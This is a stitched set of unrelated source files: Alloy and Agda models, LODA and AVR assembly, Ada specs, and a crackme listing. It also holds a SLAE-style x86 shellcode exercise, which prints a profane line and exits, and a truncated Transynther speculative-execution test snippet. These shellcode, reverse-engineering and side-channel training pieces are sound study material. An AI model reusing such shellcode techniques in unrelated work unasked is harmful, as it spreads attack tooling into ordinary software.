abstract sig UnaryIntOp extends IntNode {
arg: one IntNode
}
sig BvShl, BvShr, BvSha, BvAnd, BvOr, BvXor extends BinaryIntOp {}
sig BvAdd, BvSub, BvMul, BvDiv extends BinaryIntOp {}
sig BvNot, BvNeg extends UnaryIntOp {}
sig ITE extends IntNode {
condition: one BoolNode,
then: one IntNode,
elsen: one IntNode
}
--------------------------------------------------------------------------------
-- Semantics
--------------------------------------------------------------------------------
pred semantics[eval: Node -> (Int + Bit)] {
all n: IntNode | one eval[n] and eval[n] in Int
all n: BoolNode | one eval[n] and eval[n] in Bit
all n: ITE {
/*eval[n] in Int
eval[n.condition] in Bit
eval[n.then] in Int
eval[n.elsen] in Int*/
eval[n.condition] = BitTrue implies
eval[n.then] = eval[n] else eval[n.elsen] = eval[n]
}
// redundant stuff
/*
all n: IntComp | eval[n.left] in Int and eval[n.right] in Int
all n: BoolComp | eval[n.left] in Bit and eval[n.right] in Bit
all n: Not | eval[n.arg] in Bit
all v: IntVar | one eval[v] and eval[v] in Int
all v: BoolVar | one eval[v] and eval[v] in Bit
*/
// ---------------
all n: Equals | eval[n.left] = eval[n.right] implies
eval[n] = BitTrue else eval[n] = BitFalse
all n: GTE | eval[n.left] >= eval[n.right] implies
eval[n] = BitTrue else eval[n] = BitFalse
all n: LTE | eval[n.left] <= eval[n.right] implies
eval[n] = BitTrue else eval[n] = BitFalse
all n: GT | eval[n.left] > eval[n.right] implies
eval[n] = BitTrue else eval[n] = BitFalse
all n: LT | eval[n.left] < eval[n.right] implies
eval[n] = BitTrue else eval[n] = BitFalse
all n: And | eval[n] = And[eval[n.left], eval[n.right]]
all n: Nand | eval[n] = Nand[eval[n.left], eval[n.right]]
all n: Or | eval[n] = Or [eval[n.left], eval[n.right]]
all n: Nor | eval[n] = Nor[eval[n.left], eval[n.right]]
all n: Xor | eval[n] = Xor[eval[n.left], eval[n.right]]
all n: Not | eval[n] = Not[eval[n.arg]]
all n: BvShl | eval[n] = bvshl[eval[n.left], eval[n.right]]
all n: BvShr | eval[n] = bvshr[eval[n.left], eval[n.right]]
all n: BvSha | eval[n] = bvsha[eval[n.left], eval[n.right]]
all n: BvAnd | eval[n] = bvand[eval[n.left], eval[n.right]]
all n: BvOr | eval[n] = bvor[eval[n.left], eval[n.right]]
all n: BvXor | eval[n] = bvxor[eval[n.left], eval[n.right]]
all n: BvNot | eval[n] = bvnot[eval[n.arg]]
all n: BvNeg | eval[n] = bvneg[eval[n.arg]]
all n: BvAdd | eval[n] = bvadd[eval[n.left], eval[n.right]]
all n: BvMul | eval[n] = bvmul[eval[n.left], eval[n.right]]
all n: BvDiv | eval[n] = bvdiv[eval[n.left], eval[n.right]]
all n: BvSub | eval[n] = bvsub[eval[n.left], eval[n.right]]
all n: AndInv | eval[n] = Xor[And[Xor[eval[n.left], n.invLhs], Xor[eval[n.right], n.invRhs]], n.invOut]
all n: OrInv | eval[n] = Xor[Or[Xor[eval[n.left], n.invLhs], Xor[eval[n.right], n.invRhs]], n.invOut]
all i: IntLit | eval[i] = i.val
all b: BoolLit | eval[b] = b.val
}
/*
-- way too slow and memory consuming
fun fEval[n: Node, env: (IntVar->Int + BoolVar->Bit)]: Int {
(n in BvSub) implies { bvsub[fEval[n.(BinaryIntOp<:left), env], fEval[n.(BinaryIntOp<:right), env]]
} else (n in BvAdd) implies { bvadd[fEval[n.(BinaryIntOp<:left), env], fEval[n.(BinaryIntOp<:right), env]]
} else (n in BvMul) implies { bvmul[fEval[n.(BinaryIntOp<:left), env], fEval[n.(BinaryIntOp<:right), env]]
} else (n in BvXor) implies { bvxor[fEval[n.(BinaryIntOp<:left), env], fEval[n.(BinaryIntOp<:right), env]]
} else (n in BvOr) implies { bvor[fEval[n.(BinaryIntOp<:left), env], fEval[n.(BinaryIntOp<:right), env]]
} else (n in BvAnd) implies { bvand[fEval[n.(BinaryIntOp<:left), env], fEval[n.(BinaryIntOp<:right), env]]
} else (n in BvSha) implies { bvsha[fEval[n.(BinaryIntOp<:left), env], fEval[n.(BinaryIntOp<:right), env]]
} else (n in BvShr) implies { bvshr[fEval[n.(BinaryIntOp<:left), env], fEval[n.(BinaryIntOp<:right), env]]
} else (n in BvShl) implies { bvshl[fEval[n.(BinaryIntOp<:left), env], fEval[n.(BinaryIntOp<:right), env]]
} else (n in BvNot) implies { bvnot[fEval[n.(UnaryIntOp<:arg), env]]
} else (n in BvNeg) implies { bvneg[fEval[n.(UnaryIntOp<:arg), env]]
} else (n in IntLit) implies { n.(IntLit<:val)
} else (n in BoolLit) implies { n.(BoolLit<:val)
} else (n in IntVar) implies { env[n]
} else (n in BoolVar) implies { env[n]
// TODO: add other cases
} else {
0 // should never come down to this
}
}
*/
--------------------------------------------------------------------------------
-- Utility predicates & functions
--------------------------------------------------------------------------------
fun binRels[]: Node -> Node {
condition + then + elsen +
IntComp<:left + BoolComp<:left + BinaryIntOp<:left +
IntComp<:right + BoolComp<:right + BinaryIntOp<:right +
Not<:arg + UnaryIntOp<:arg
}
pred allVarsReachableFrom[root: Node] {
all v: BoolVar + IntVar |
v in root.^(binRels)
}
pred acyclic[r: univ->univ, s: set univ] {
all x: s | x !in x.^r
}
--------------------------------------------------------------------------------
-- Facts
--------------------------------------------------------------------------------
fact {
acyclic[binRels, Node]
}
|
alloy4fun_models/trashltl/models/11/j2tm2Z5PwyZiezbPz.als | Kaixi26/org.alloytools.alloy | 0 | 4412 | <gh_stars>0
open main
pred idj2tm2Z5PwyZiezbPz_prop12 {
always all f : Trash | f in Trash'
}
pred __repair { idj2tm2Z5PwyZiezbPz_prop12 }
check __repair { idj2tm2Z5PwyZiezbPz_prop12 <=> prop12o } |
src/Categories/Tactic/Category.agda | Trebor-Huang/agda-categories | 279 | 5735 | {-# OPTIONS --without-K --safe #-}
--------------------------------------------------------------------------------
-- A simple reflection based solver for categories.
--
-- Based off 'Tactic.MonoidSolver' from 'agda-stdlib'
--------------------------------------------------------------------------------
open import Categories.Category
module Categories.Tactic.Category where
open import Level
open import Function using (_⟨_⟩_)
open import Data.Bool as Bool using (Bool; _∨_; if_then_else_)
open import Data.Maybe as Maybe using (Maybe; just; nothing; maybe)
open import Data.List as List using (List; _∷_; [])
open import Data.Product as Product using (_×_; _,_)
open import Agda.Builtin.Reflection
open import Reflection.Argument
open import Reflection.Term using (getName; _⋯⟅∷⟆_)
open import Reflection.TypeChecking.Monad.Syntax
module _ {o ℓ e} (𝒞 : Category o ℓ e) where
open Category 𝒞
open HomReasoning
open Equiv
private
variable
A B C : Obj
f g : A ⇒ B
--------------------------------------------------------------------------------
-- An 'Expr' reifies the parentheses/identity morphisms of some series of
-- compositions of morphisms into a data structure. In fact, this is also
-- a category!
--------------------------------------------------------------------------------
data Expr : Obj → Obj → Set (o ⊔ ℓ) where
_∘′_ : ∀ {A B C} → Expr B C → Expr A B → Expr A C
id′ : ∀ {A} → Expr A A
[_↑] : ∀ {A B} → A ⇒ B → Expr A B
-- Embed a morphism in 'Expr' back into '𝒞' without normalizing.
[_↓] : Expr A B → A ⇒ B
[ f ∘′ g ↓] = [ f ↓] ∘ [ g ↓]
[ id′ ↓] = id
[ [ f ↑] ↓] = f
-- Convert an 'Expr' back into a morphism, while normalizing
--
-- This actually embeds the morphism into the category of copresheaves
-- on 𝒞, which obeys the category laws up to beta-eta equality.
-- This lets us normalize away all the associations/identity morphisms.
embed : Expr B C → A ⇒ B → A ⇒ C
embed (f ∘′ g) h = embed f (embed g h)
embed id′ h = h
embed [ f ↑] h = f ∘ h
preserves-≈′ : ∀ (f : Expr B C) → (h : A ⇒ B) → embed f id ∘ h ≈ embed f h
preserves-≈′ id′ f = identityˡ
preserves-≈′ [ x ↑] f = ∘-resp-≈ˡ identityʳ
preserves-≈′ (f ∘′ g) h = begin
embed (f ∘′ g) id ∘ h ≡⟨⟩
embed f (embed g id) ∘ h ≈˘⟨ preserves-≈′ f (embed g id) ⟩∘⟨refl ⟩
(embed f id ∘ embed g id) ∘ h ≈⟨ assoc ⟩
embed f id ∘ embed g id ∘ h ≈⟨ refl⟩∘⟨ preserves-≈′ g h ⟩
embed f id ∘ embed g h ≈⟨ preserves-≈′ f (embed g h) ⟩
embed (f ∘′ g) h ∎
preserves-≈ : ∀ (f : Expr A B) → embed f id ≈ [ f ↓]
preserves-≈ id′ = refl
preserves-≈ [ x ↑] = identityʳ
preserves-≈ (f ∘′ g) = begin
embed (f ∘′ g) id ≈˘⟨ preserves-≈′ f (embed g id) ⟩
embed f id ∘ embed g id ≈⟨ preserves-≈ f ⟩∘⟨ preserves-≈ g ⟩
[ f ↓] ∘ [ g ↓] ≡⟨⟩
[ f ∘′ g ↓] ∎
--------------------------------------------------------------------------------
-- Reflection Helpers
--------------------------------------------------------------------------------
_==_ = primQNameEquality
{-# INLINE _==_ #-}
getArgs : Term → Maybe (Term × Term)
getArgs (def _ xs) = go xs
where
go : List (Arg Term) → Maybe (Term × Term)
go (vArg x ∷ vArg y ∷ []) = just (x , y)
go (x ∷ xs) = go xs
go _ = nothing
getArgs _ = nothing
--------------------------------------------------------------------------------
-- Getting Category Names
--------------------------------------------------------------------------------
record CategoryNames : Set where
field
is-∘ : Name → Bool
is-id : Name → Bool
buildMatcher : Name → Maybe Name → Name → Bool
buildMatcher n nothing x = n == x
buildMatcher n (just m) x = n == x ∨ m == x
findCategoryNames : Term → TC CategoryNames
findCategoryNames cat = do
∘-altName ← normalise (def (quote Category._∘_) (3 ⋯⟅∷⟆ cat ⟨∷⟩ []))
id-altName ← normalise (def (quote Category.id) (3 ⋯⟅∷⟆ cat ⟨∷⟩ []))
returnTC record
{ is-∘ = buildMatcher (quote Category._∘_) (getName ∘-altName)
; is-id = buildMatcher (quote Category.id) (getName id-altName)
}
--------------------------------------------------------------------------------
-- Constructing an Expr
--------------------------------------------------------------------------------
″id″ : Term
″id″ = quote id′ ⟨ con ⟩ []
″[_↑]″ : Term → Term
″[ t ↑]″ = quote [_↑] ⟨ con ⟩ (t ⟨∷⟩ [])
module _ (names : CategoryNames) where
open CategoryNames names
mutual
″∘″ : List (Arg Term) → Term
″∘″ (x ⟨∷⟩ y ⟨∷⟩ xs) = quote _∘′_ ⟨ con ⟩ buildExpr x ⟨∷⟩ buildExpr y ⟨∷⟩ []
″∘″ (x ∷ xs) = ″∘″ xs
″∘″ _ = unknown
buildExpr : Term → Term
buildExpr t@(def n xs) =
if (is-∘ n)
then ″∘″ xs
else if (is-id n)
then ″id″
else
″[ t ↑]″
buildExpr t@(con n xs) =
if (is-∘ n)
then ″∘″ xs
else if (is-id n)
then ″id″
else
″[ t ↑]″
buildExpr t = ″[ t ↑]″
--------------------------------------------------------------------------------
-- Constructing the Solution
--------------------------------------------------------------------------------
constructSoln : Term → CategoryNames → Term → Term → Term
constructSoln cat names lhs rhs =
quote Category.Equiv.trans ⟨ def ⟩ 3 ⋯⟅∷⟆ cat ⟨∷⟩
(quote Category.Equiv.sym ⟨ def ⟩ 3 ⋯⟅∷⟆ cat ⟨∷⟩
(quote preserves-≈ ⟨ def ⟩ 3 ⋯⟅∷⟆ cat ⟨∷⟩ buildExpr names lhs ⟨∷⟩ []) ⟨∷⟩ [])
⟨∷⟩
(quote preserves-≈ ⟨ def ⟩ 3 ⋯⟅∷⟆ cat ⟨∷⟩ buildExpr names rhs ⟨∷⟩ [])
⟨∷⟩ []
solve-macro : Term → Term → TC _
solve-macro mon hole = do
hole′ ← inferType hole >>= normalise
names ← findCategoryNames mon
just (lhs , rhs) ← returnTC (getArgs hole′)
where nothing → typeError (termErr hole′ ∷ [])
let soln = constructSoln mon names lhs rhs
unify hole soln
macro
solve : Term → Term → TC _
solve = solve-macro
|
oeis/059/A059838.asm | neoneye/loda-programs | 11 | 163277 | <reponame>neoneye/loda-programs<gh_stars>10-100
; A059838: Number of permutations in the symmetric group S_n that have even order.
; Submitted by <NAME>
; 0,0,1,3,15,75,495,3465,29295,263655,2735775,30093525,370945575,4822292475,68916822975,1033752344625,16813959537375,285837312135375,5214921734397375,99083512953550125,2004231846526284375,42088868777051971875,934957186489800849375,21504015289265419535625,520444368391989625959375,13011109209799740648984375,340788940288324502208609375,9201301387784761559632453125,259324006920606914270844234375,7520396200697600513854482796875,226933251813970116856323617109375,7034930806233073622546032130390625
mov $2,1
lpb $0
mul $1,$0
sub $2,$3
mul $3,2
add $3,$0
sub $3,1
mod $3,2
mul $3,$2
add $1,$3
mul $2,$0
sub $0,1
lpe
mov $0,$1
|
Assembly Works 1/Task_3_Lab_1.asm | AhmadVakil/Assembly-C_Micro-Controller | 0 | 99816 | <reponame>AhmadVakil/Assembly-C_Micro-Controller
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 1DT301, Computer Technology I
; Date: 2017-09-15
; Author:
; <NAME>
;
; Lab number: 1
; Task Number: 3
;
; Title: How to use the PORTs. Digital input/output. Subroutine call.
;
; Hardware: STK600, CPU ATmega2560
;
; Function: Describe the function of the program, so that you can understand it,
; even if you're viewing this in a year from now!
;
; Input ports: Describe the function of used ports, for example on-board switches
; connected to PORTA.
;
; Output ports: Describe the function of used ports, for example on-board LEDs
; connected to PORTB.
;
; Subroutines: If applicable.
; Included files: m2560def.inc
;
; Other information: CPI helped to solve this problem
;
; Changes in program: (Description and date)
; Task 3:
; Write a program in Assembly language to read the switches and light LED0 when you
; press SW5.
; For all other switches there should be no activity
;
;<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
.include "m2560def.inc"
ldi r16,0b11111111 ; ALL pins will be available to use as output
out DDRB, r16
ldi r16,0b00000000 ; DDRA is input
out DDRA, r16 ; I used r16 again, so new value will clear the last value in register. Except using stack and stack pointer. I mean POP PUSH but here is as simple as it.
my_loop:
in r17, PINA ; Get the data from PINA a(Switches) and send it into r17
cpi r17,0b00100000 ; Is that binary number equal to r17? CPI(Compare with immediate) mean exactly like this question.
brne my_loop ; If it's ne(NOT EQUAL) go back to my_loop, ***OTHERWISE CONTINUE TO NEXT LINE WHICH MEANS THEY ARE EQUAL!
ldi r16,0b11111110 ; So if it was equal it will be here to turn on the LED 0
;out DDRA, r16 ; OOPS!!: This line seems like not necessery, but don't consider it as a mistake. I will fix it when I go to lab
out PORTB, r16 ; Turn the LED on and go to next line which jumps to the loop again. We want this program to listen to our input all the time and that's why we used loop
rJmp my_loop
|
1A/S5/PIM/tps/tp8solution/abr.ads | MOUDDENEHamza/ENSEEIHT | 4 | 12810 | package ABR is
type T_ABR is limited private;
Cle_Presente_Exception : Exception; -- une clé est déjà présente dans un ABR
Cle_Absente_Exception : Exception; -- une clé est absente d'un ABR
-- Initialiser un ABR Abr. L'ABR est vide.
procedure Initialiser(Abr: out T_ABR) with
Post => Est_Vide (Abr);
-- Est-ce qu'un ABR Abr est vide ?
function Est_Vide (Abr : T_Abr) return Boolean;
-- Obtenir le nombre d'éléments d'un ABR.
function Taille (Abr : in T_ABR) return Integer with
Post => Taille'Result >= 0
and (Taille'Result = 0) = Est_Vide (Abr);
-- Insérer la donnée Donnée associée à la clé Clé dans l'ABR Abr.
-- Exception : Cle_Presente_Exception si la clé est déjà dans l'Abr.
procedure Inserer (Abr : in out T_ABR ; Cle : in Character ; Donnee : in Integer) with
Post => La_Donnee (Abr, Cle) = Donnee -- donnée insérée
; -- XXX and Taille (Abr) = Taille (Abr)'Old + 1; -- un élément de plus
-- Modifier la donnée Donnée associée à la clé Clé dans l'ABR Abr.
-- Exception : Cle_Absente_Exception si Clé n'est pas utilisée dans l'Abr
procedure Modifier (Abr : in out T_ABR ; Cle : in Character ; Donnee : in Integer) with
Post => La_Donnee (Abr, Cle) = Donnee; -- donnée mise à jour
-- Supprimer la donnée associée à la clé Clé dans l'ABR Abr.
-- Exception : Cle_Absente_Exception si Clé n'est pas utilisée dans l'Abr
procedure Supprimer (Abr : in out T_ABR ; Cle : in Character) with
Post => Taille (Abr) = Taille (Abr)'Old - 1; -- un élément de moins
-- Obtenir la donnée associée à la clé Cle dans l'ABR Abr.
-- Exception : Cle_Absente_Exception si Clé n'est pas utilisée dans l'Abr
function La_Donnee (Abr : in T_ABR ; Cle : in Character) return Integer;
-- Supprimer tous les éléments d'un ABR.
-- Doit être utilisée dès qu'on sait qu'un ABR ne sera plus utilisé.
procedure Vider (Abr : in out T_ABR) with
Post => Est_Vide (Abr);
-- Afficher un ABR Abr dans l'ordre croissant des clés (parcours infixe)
procedure Afficher (Abr : in T_Abr);
-- Afficher un ABR Abr (en faisant apparaître la strucre grâce à une
-- indendation et un signe '<', '>', '/' pour indiquer la sous-arbre
-- gauche, '>' pour un sous arbre droit et '/' pour la racine)
-- Exemple :
--
-- / Cle1 : Valeur1
-- < Cle2 : Valeur2
-- > Cle3 : Valeur3
-- > Cle4 : Valeur 4
-- < Cle5 : Valeur 5
procedure Afficher_Debug (Abr : in T_Abr);
private
type T_Noeud;
type T_ABR is access T_Noeud;
type T_Noeud is
record
Cle: Character;
Donnee : Integer;
Sous_Arbre_Gauche : T_ABR;
Sous_Arbre_Droit : T_ABR;
-- Invariant
-- Pour tout noeud N dans Sous_Arbre_Gauche, N.Cle < Cle
-- Pour tout noeud N dans Sous_Arbre_Droit, N.Cle > Cle
end record;
end ABR;
|
Module 2/3. FunWithStack/FuckTheWorldStack.asm | hoangcuongflp/SLAE | 47 | 168919 | ; FuckTheWorldStack.asm
; by Abatchy
;
; nasm -felf32 FuckTheWorldStack.asm && ld -o FuckTheWorldStack FuckTheWorldStack.o
; Shellcode generated: "\x31\xc0\xb0\x04\x31\xdb\xb3\x01\x68\x6f\x75\x2e\x0a\x68\x6e\x64\x20\x79\x68\x64\x2e\x20\x41\x68\x77\x6f\x72\x6c\x68\x74\x68\x65\x20\x68\x75\x63\x6b\x20\x31\xc9\xb1\x46\x51\x8d\x0c\x24\x31\xd2\xb2\x1c\xcd\x80\x31\xc0\xb0\x01\x31\xdb\xb3\x05\xcd\x80"
global _start ; Entry point, required for ld linker
section .text ; Text segment, code resides here
_start:
; write(1, message, mlen)
xor eax, eax
mov al, 4
xor ebx, ebx
mov bl, 0x1
push 0x0a2e756f
push 0x7920646e
push 0x41202e64
push 0x6c726f77
push 0x20656874
push 0x206b6375
xor ecx, ecx
mov cl, 0x46
push ecx
lea ecx, [esp]
xor edx, edx
mov dl, 28
int 0x80
; exit(5)
xor eax, eax
mov al, 1
xor ebx, ebx
mov bl, 0x5
int 0x80
|
Chapter 17/CrackMe/CrackMe/CrackMe.asm | bpbpublications/Implementing-Reverse-Engineering | 0 | 91223 | ; Listing generated by Microsoft (R) Optimizing Compiler Version 16.00.30319.01
TITLE C:\JitenderN\REBook\CrackMe\CrackMe\CrackMe.cpp
.686P
.XMM
include listing.inc
.model flat
INCLUDELIB LIBCMT
INCLUDELIB OLDNAMES
CONST SEGMENT
$SG4679 DB 'yyy0kke{dgtugewtkv{0eqo', 00H
CONST ENDS
PUBLIC __$ArrayPad$
PUBLIC _main
EXTRN ___security_cookie:DWORD
EXTRN @__security_check_cookie@4:PROC
; Function compile flags: /Odtp
_TEXT SEGMENT
_encurl$ = -60 ; size = 50
__$ArrayPad$ = -8 ; size = 4
_i$ = -4 ; size = 4
_main PROC
; File c:\jitendern\rebook\crackme\crackme\crackme.cpp
; Line 9
push ebp
mov ebp, esp
sub esp, 60 ; 0000003cH
mov eax, DWORD PTR ___security_cookie
xor eax, ebp
mov DWORD PTR __$ArrayPad$[ebp], eax
; Line 11
mov eax, DWORD PTR $SG4679
mov DWORD PTR _encurl$[ebp], eax
mov ecx, DWORD PTR $SG4679+4
mov DWORD PTR _encurl$[ebp+4], ecx
mov edx, DWORD PTR $SG4679+8
mov DWORD PTR _encurl$[ebp+8], edx
mov eax, DWORD PTR $SG4679+12
mov DWORD PTR _encurl$[ebp+12], eax
mov ecx, DWORD PTR $SG4679+16
mov DWORD PTR _encurl$[ebp+16], ecx
mov edx, DWORD PTR $SG4679+20
mov DWORD PTR _encurl$[ebp+20], edx
xor eax, eax
mov DWORD PTR _encurl$[ebp+24], eax
mov DWORD PTR _encurl$[ebp+28], eax
mov DWORD PTR _encurl$[ebp+32], eax
mov DWORD PTR _encurl$[ebp+36], eax
mov DWORD PTR _encurl$[ebp+40], eax
mov DWORD PTR _encurl$[ebp+44], eax
mov WORD PTR _encurl$[ebp+48], ax
; Line 13
mov DWORD PTR _i$[ebp], 0
jmp SHORT $LN3@main
$LN2@main:
mov ecx, DWORD PTR _i$[ebp]
add ecx, 1
mov DWORD PTR _i$[ebp], ecx
$LN3@main:
cmp DWORD PTR _i$[ebp], 50 ; 00000032H
jge SHORT $LN1@main
mov edx, DWORD PTR _i$[ebp]
movsx eax, BYTE PTR _encurl$[ebp+edx]
test eax, eax
je SHORT $LN1@main
; Line 14
mov ecx, DWORD PTR _i$[ebp]
movsx edx, BYTE PTR _encurl$[ebp+ecx]
sub edx, 2
mov eax, DWORD PTR _i$[ebp]
mov BYTE PTR _encurl$[ebp+eax], dl
jmp SHORT $LN2@main
$LN1@main:
; Line 16
xor eax, eax
; Line 17
mov ecx, DWORD PTR __$ArrayPad$[ebp]
xor ecx, ebp
call @__security_check_cookie@4
mov esp, ebp
pop ebp
ret 0
_main ENDP
_TEXT ENDS
END
|
awa/plugins/awa-tags/regtests/awa-tags-modules-tests.ads | fuzzysloth/ada-awa | 81 | 29428 | <gh_stars>10-100
-----------------------------------------------------------------------
-- awa-tags-modules-tests -- Unit tests for tags service
-- Copyright (C) 2013 <NAME>
-- Written by <NAME> (<EMAIL>)
--
-- Licensed under the Apache License, Version 2.0 (the "License");
-- you may not use this file except in compliance with the License.
-- You may obtain a copy of the License at
--
-- http://www.apache.org/licenses/LICENSE-2.0
--
-- Unless required by applicable law or agreed to in writing, software
-- distributed under the License is distributed on an "AS IS" BASIS,
-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-- See the License for the specific language governing permissions and
-- limitations under the License.
-----------------------------------------------------------------------
with Util.Tests;
with AWA.Tests;
package AWA.Tags.Modules.Tests is
procedure Add_Tests (Suite : in Util.Tests.Access_Test_Suite);
type Test is new AWA.Tests.Test with record
Manager : AWA.Tags.Modules.Tag_Module_Access;
end record;
-- Test tag creation.
procedure Test_Add_Tag (T : in out Test);
-- Test tag removal.
procedure Test_Remove_Tag (T : in out Test);
-- Test tag creation and removal.
procedure Test_Update_Tag (T : in out Test);
end AWA.Tags.Modules.Tests;
|
polynomial/clenshaw/spherical_harmonics.ads | jscparker/math_packages | 30 | 26393 | <reponame>jscparker/math_packages
--
-- package Spherical_Harmonics
--
-- Actually makes just the part that varies in Theta..leaves out
-- the Exp(i*m*Phi) / Sqrt(2*Pi), which is all that's required to complete
-- the spherical harmonic. Uses package Clenshaw to make the polynomials.
--
-- The results may be thought of as normalized versions of Associated
-- Legendre Functions, Q(k, m, X) (which in standard form are not
-- normalized, and are not actually polynomials if m is odd).
--
-- Designed to be most efficient when k and X change a lot, and m
-- changes rarely. A table of Normalization factors for fixed
-- m and varying k is made. if k is fixed and m varies a lot, then
-- this method is grossly inefficient.
--
-- Package should be thought of as an example of how to use package
-- Clenshaw and package A_Legendre to make spherical harmonics. There
-- will always be more efficient methods. Best method is problem dependent.
--
-- (un-normalized) Spherical_Harmonic (m, k): ( l = k + m )
--
-- Q_0 (m, X) = (-1)**m * Sqrt(1-X*X)**m
-- Q_1 (m, X) = X * (2*(m+1) - 1) * Q_0 (m, X) = Alpha*Q_0
-- Q_k (m, X) = X * ((2*(m+k) - 1) / k) * Q_k-1 (m, X)
-- -((k + 2*m - 1) / k) * Q_k-2 (m, X)
-- Alpha (k, m, X) = X * (2*(m+k) - 1) / k
-- Beta (k, m, X) = -(k + 2*m - 1) / k
--
-- Functions are orthogonal on the interval [-1,1] with
-- weight function W(X) = 1. Orthogonality is respect integration, not
-- summation of discrete data points. Normalizing integral:
--
-- Int (Q_k(m, X) * Q_k(m, X) * W(X))
-- = 2*(k+2*m)! / ((2*k + 2*m + 1) * (k!*(2m-1)!!**2))
--
-- The actual Associated Legendre Polys are usually defined with (2m-1)!! times
-- the Q_0 given above, but this leads to overflow, so it's put in the Norm.
--
-- The m values for the Associated Legendre Polys are always non-negative. When
-- you use Associated Legendre Polys to make spherical, (where m is in -l..l)
-- then use Abs(m) to make the Assoc. Legendre Polys.
-- Azimuthal quantum number l is equal to k + m.
-- Notice that l_min = m, (since m_max = l). k is in 0..inf,
-- so l = k + m is in m..inf. So in the standard l and m notation, (m > -1):
--
-- Int (Q_k(m, X) * Q_k(m, X) * W(X))
-- = 2*(l+m)! / ((2*l + 1) * (l-m)! * (2m-1)!!))
--
-- To make spherical harmonics, which
-- are normalized respect integration in Phi also, you multiply the results
-- of Clenshaw (the Associated Legendre Functions) by
-- Sqrt [(2*l + 1) * (l-m)! * (2m-1)!! / 2*(l+m)!] and by
-- [1.0 / Sqrt (2*Pi)] * Exp(i*m*Psi).
--
generic
type Real is digits <>;
with function Sqrt (X : Real) return Real;
with function Exp (X : Real) return Real;
with function Log (X : Real) return Real;
type Base_Poly_Index is range <>;
Poly_Limit : Base_Poly_Index;
package Spherical_Harmonics is
pragma Assert (Poly_Limit > 1 and Base_Poly_Index'First <= 0);
-- Index l is of type Base_Poly_Index, and l must be >= 0.
function X_Lower_Bound return Real; -- -1.0
function X_Upper_Bound return Real; -- +1.0
-- The Spherical_Harms use a table to speed up calculation: designed
-- to be efficient when X and k change a lot, and m changes rarely.
function Spherical_Harm
(l : Base_Poly_Index;
m : Real;
X : Real;
Iterations : Positive := 1)
return Real;
-- Uses Evaluate_Qs() to get array of Spherical_Harm(X) in k=[0, l].
--
-- For efficiency, ought to add another version of Spherical_Harm that
-- returns the whole array of Vals, from l = 0 to l_max.
--
-- Seems to work ok to l,m >> 3000.
--
-- Seems to work to machine precision to very high l,m, so haven't
-- found a limit where Iterations > 1 is needed.
function Spherical_Harm_2
(l : Base_Poly_Index;
m : Real;
X : Real;
Iterations : Positive := 1)
return Real;
-- Uses Clenshaw's summation to get Spherical_Harmonics. Used for
-- testing, mainly.
function Poly_Weight (X : Real) return Real;
end Spherical_Harmonics;
|
Lab2 (MIPS)/Version 2.asm | taylanu/CMPEN331 | 0 | 16460 | # Version 2, do nothing, then Exit
# switch to the Text segment
.text
.globl main
main:
#rest of the main program will go here
#call function Exit0
jal Exit0 #end program, default return status
#------------------------------------------------------------------
# Wrapper functions around some of the system calls
# See P&H COD, Fig. A.9.1, for the complete list.
# switch to the text segment
.text
.globl Print_integer
Print_integer: #print integer in register $a0
li $v0,1
syscall
jr $ra
.globl Print_String # essentially a variable to tell what can reference the Print String
Print_String:
li $v0,4
syscall
jr $ra
.globl Exit
Exit: #end program here, no explicit return status
li $v0, 10
syscall
jr $ra #instruction never executed
.globl Exit0
Exit0: #ends the program, default return status
li $a0, 0 #return status 0
li $v0, 17
syscall
jr $ra #instruction never executes
.globl Exit2
Exit2: #end the program with return status from register $a0
li $v0, 17
syscall
jr $ra #this instruction is never executed.
|
src/briefing_restate_map_file.asm | mvdhout1992/ts-patches | 33 | 88307 | <gh_stars>10-100
%include "macros/patch.inc"
%include "macros/datatypes.inc"
%include "TiberianSun.inc"
@LJMP 0x005C0930, _Restate_Briefing_Jump_To_Map_Briefing_First
@LJMP 0x005C0AA4, _Restate_Briefing_Jump_To_Mission_INI_Briefing_Next
@LJMP 0x005C0975, _Restate_Briefing_Else_Jump_Over_Reading_Briefing_Text
_Restate_Briefing_Else_Jump_Over_Reading_Briefing_Text:
call FileClass__Is_Available
cmp al, 1
jnz 0x005C0ADD
jmp 0x005C0982
_Restate_Briefing_Jump_To_Mission_INI_Briefing_Next:
lea edx, [esi+94Ch]
cmp byte dl, 0
jz 0x005C0935
jmp 0x005C0AAA
_Restate_Briefing_Jump_To_Map_Briefing_First:
call 0x00449A10
jmp 0x005C0A90
|
test/Compiler/simple/Issue5288.agda | cruhland/agda | 1,989 | 16110 | <reponame>cruhland/agda<gh_stars>1000+
-- Andreas, 2021-04-10, issue #5288
-- De Bruijn index problem in treeless compiler
-- {-# OPTIONS -v tc.cc:20 #-}
-- {-# OPTIONS -v treeless:40 #-}
-- {-# OPTIONS -v treeless.convert.lambdas:40 #-}
open import Agda.Builtin.Equality
open import Agda.Builtin.IO
open import Agda.Builtin.Nat
open import Agda.Builtin.Unit
f : Nat → Nat → Nat
f _ zero = 0
f m = λ _ → m -- this catch-all was wrongly compiled
postulate
printNat : Nat → IO ⊤
{-# COMPILE GHC printNat = print #-}
{-# COMPILE JS printNat = function (x) { return function(cb) { process.stdout.write(x + "\n"); cb(0); }; } #-}
test : Nat
test = f 123 1
prf : test ≡ 123
prf = refl
main = printNat test
-- Should print 123
|
Transynther/x86/_processed/AVXALIGN/_zr_/i9-9900K_12_0xca_notsx.log_658_721.asm | ljhsiun2/medusa | 9 | 242237 | .global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r13
push %r14
push %rax
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WT_ht+0x1ed4e, %rax
clflush (%rax)
nop
nop
dec %rdx
movb $0x61, (%rax)
nop
nop
nop
nop
nop
add $11815, %r12
lea addresses_WT_ht+0x1b871, %rsi
lea addresses_A_ht+0x16b0e, %rdi
nop
nop
nop
nop
nop
and %r13, %r13
mov $4, %rcx
rep movsq
nop
nop
nop
nop
nop
add %rdx, %rdx
lea addresses_normal_ht+0x1d9a6, %rsi
cmp $54591, %rax
mov (%rsi), %r12w
nop
nop
nop
add %rdx, %rdx
lea addresses_normal_ht+0x1250e, %r12
nop
nop
nop
nop
nop
cmp $42719, %r13
vmovups (%r12), %ymm5
vextracti128 $1, %ymm5, %xmm5
vpextrq $0, %xmm5, %rdi
